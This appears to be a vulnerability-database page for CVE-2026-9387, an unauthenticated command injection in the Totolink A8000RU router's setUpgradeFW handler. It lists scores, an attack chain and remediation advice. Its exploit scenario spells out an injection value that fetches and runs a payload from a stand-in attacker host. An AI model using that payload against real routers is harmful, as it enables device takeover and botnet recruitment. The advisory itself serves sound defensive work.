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Totolink A8000RU CVE-2026-9387

| EUVD-2026-31543 HIGH
OS Command Injection (CWE-78)
2026-05-24 VulDB GHSA-q68g-wg9j-v69v
8.9
CVSS 4.0 · NVD
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NVD PRIMARY
8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

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CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Analysis Generated
Jun 08, 2026 - 09:26 vuln.today
Severity Changed
May 26, 2026 - 19:07 NVD
CRITICAL HIGH
CVSS changed
May 26, 2026 - 19:07 NVD
9.8 (CRITICAL) 8.9 (HIGH)

DescriptionCVE.org

A security flaw has been discovered in Totolink A8000RU 7.1cu.643_b20200521. The affected element is the function setUpgradeFW of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Performing a manipulation of the argument resetFlags results in os command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.

AnalysisAI

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary operating system commands via the resetFlags parameter handled by the setUpgradeFW function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists, and the SSVC framework classifies exploitation as automatable with total technical impact, though EPSS remains modest at 0.89% (76th percentile).

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Scan for exposed Totolink A8000RU web interfaces
Delivery
Send crafted POST to /cgi-bin/cstecgi.cgi setUpgradeFW
Exploit
Inject shell metacharacters via resetFlags parameter
Execution
Execute arbitrary OS commands as web service user
Persist
Download and install router malware payload
Impact
Pivot to LAN or join DDoS botnet

Vulnerability AssessmentAI

Exploitation No special conditions for the protocol-level flaw - the CVSS 4.0 vector confirms remote, unauthenticated, low-complexity exploitation (AV:N/AC:L/AT:N/PR:N/UI:N) of the setUpgradeFW handler in /cgi-bin/cstecgi.cgi on default configurations. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) with high confidentiality, integrity, and availability impact, combined with E:P (proven exploit), supports the 8.9 score and makes this attractive for opportunistic attackers and botnet operators who routinely target SOHO routers. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker scans the Internet (or a target network) for Totolink A8000RU devices with the web management interface reachable, then sends a single crafted HTTP request to /cgi-bin/cstecgi.cgi invoking setUpgradeFW with shell metacharacters embedded in resetFlags (e.g., resetFlags=1;wget http://attacker/x -O /tmp/x;sh /tmp/x). Because the published PoC on GitHub provides the exact request format and no authentication is required, an attacker can trivially script mass exploitation to deploy router malware, pivot into the LAN, or enroll the device in a DDoS botnet.
Remediation No vendor-released patch identified at time of analysis - Totolink has not published an advisory or fixed firmware for CVE-2026-9387 according to the provided references. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Identify and inventory all Totolik A8000RU devices running firmware 7.1cu.643_b20200521 or earlier; assess network exposure and document dependencies. …

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